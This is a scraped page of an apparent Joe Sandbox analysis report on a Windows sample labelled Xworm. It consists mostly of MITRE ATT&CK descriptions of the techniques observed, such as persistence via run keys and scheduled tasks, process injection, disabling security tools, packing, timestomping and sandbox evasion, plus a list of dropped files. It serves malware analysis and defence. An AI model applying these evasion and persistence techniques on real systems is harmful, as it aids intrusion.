Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report YgJ5inWPQO.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Xworm

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_dddd.exe_af393cc9913219998438774698f8342c562_9e3dda42_6bf57e09-797d-465b-954e-e36e0306d837\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3944.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3B0A.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3B3A.tmp.xml

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\System User.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\Log.tmp

C:\Users\user\AppData\Local\Temp\_MEI4322\VCRUNTIME140.dll

C:\Users\user\AppData\Local\Temp\_MEI4322\_bz2.pyd

Windows Analysis Report
YgJ5inWPQO.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre